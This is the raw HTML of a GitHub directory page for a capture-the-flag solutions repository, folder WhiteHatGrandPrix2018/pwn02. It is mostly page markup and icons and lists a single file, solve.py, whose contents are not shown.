text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> spearphisher </span> <span>/</span> CTF-Solutions <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/spearphisher/CTF-Solutions/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":145445906,"originating_url":"https://github.com/spearphisher/CTF-Solutions/tree/master/WhiteHatGrandPrix2018/pwn02","user_id":null}}" data-hydro-click-hmac="d9164a18479aec9c99925e2887c0a72c9c24ffcf039aca43dccb62ff31eafedf"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/spearphisher/CTF-Solutions/refs" cache-key="v0:1534783970.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c3BlYXJwaGlzaGVyL0NURi1Tb2x1dGlvbnM=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/spearphisher/CTF-Solutions/refs" cache-key="v0:1534783970.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c3BlYXJwaGlzaGVyL0NURi1Tb2x1dGlvbnM=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Solutions</span></span></span><span>/</span><span><span>WhiteHatGrandPrix2018</span></span><span>/</span>pwn02<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Solutions</span></span></span><span>/</span><span><span>WhiteHatGrandPrix2018</span></span><span>/</span>pwn02<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/spearphisher/CTF-Solutions/tree-commit/142384abada4fac41fee70fa97a58ab8b5336917/WhiteHatGrandPrix2018/pwn02" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/spearphisher/CTF-Solutions/file-list/master/WhiteHatGrandPrix2018/pwn02"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon 